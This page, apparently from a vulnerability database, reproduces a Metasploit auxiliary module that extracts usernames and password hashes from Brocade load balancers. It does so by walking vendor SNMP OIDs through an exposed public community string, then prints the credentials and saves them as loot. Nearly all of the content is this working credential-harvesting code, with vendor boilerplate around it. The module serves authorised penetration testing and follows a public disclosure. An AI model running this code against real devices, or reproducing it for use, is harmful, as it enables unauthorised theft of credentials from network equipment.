Lucene search
K

Brocade Password Hash Enumeration

🗓️ 31 Aug 2024 00:00:00Reported by Jay Turla, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 164 Views

Brocade Password Hash Enumeration from SNM

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::SNMPClient  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
def initialize  
super(  
'Name' => 'Brocade Password Hash Enumeration',  
'Description' => %q{  
This module extracts password hashes from certain Brocade load  
balancer devices.  
},  
'References' =>  
[  
[ 'URL', 'https://www.rapid7.com/blog/post/2014/05/15/r7-2014-01-r7-2014-02-r7-2014-03-disclosures-exposure-of-critical-information-via-snmp-public-community-string/' ]  
],  
'Author' => ['Deral "PercentX" Heiland'],  
'License' => MSF_LICENSE  
)  
  
end  
  
def run_host(ip)  
begin  
snmp = connect_snmp  
  
if snmp.get_value('sysDescr.0') =~ /Brocade/  
  
@users = []  
snmp.walk("1.3.6.1.4.1.1991.1.1.2.9.2.1.1") do |row|  
row.each { |val| @users << val.value.to_s }  
end  
  
@hashes = []  
snmp.walk("1.3.6.1.4.1.1991.1.1.2.9.2.1.2") do |row|  
row.each { |val| @hashes << val.value.to_s }  
end  
  
print_good("#{ip} - Found user and password hashes:")  
end  
  
credinfo = ""  
@users.each_index do |i|  
credinfo << "#{@users[i]}:#{@hashes[i]}" << "\n"  
print_good("#{@users[i]}:#{@hashes[i]}")  
end  
  
  
#Woot we got loot.  
loot_name = "brocade.hashes"  
loot_type = "text/plain"  
loot_filename = "brocade_hashes.txt"  
loot_desc = "Brodace username and password hashes"  
p = store_loot(loot_name, loot_type, datastore['RHOST'], credinfo , loot_filename, loot_desc)  
  
print_status("Credentials saved: #{p}")  
rescue ::SNMP::UnsupportedVersion  
rescue ::SNMP::RequestTimeout  
rescue ::Interrupt  
raise $!  
rescue ::Exception => e  
print_error("#{ip} - Error: #{e.class} #{e}")  
disconnect_snmp  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Aug 2024 00:00Current
7.4High risk
Vulners AI Score7.4
164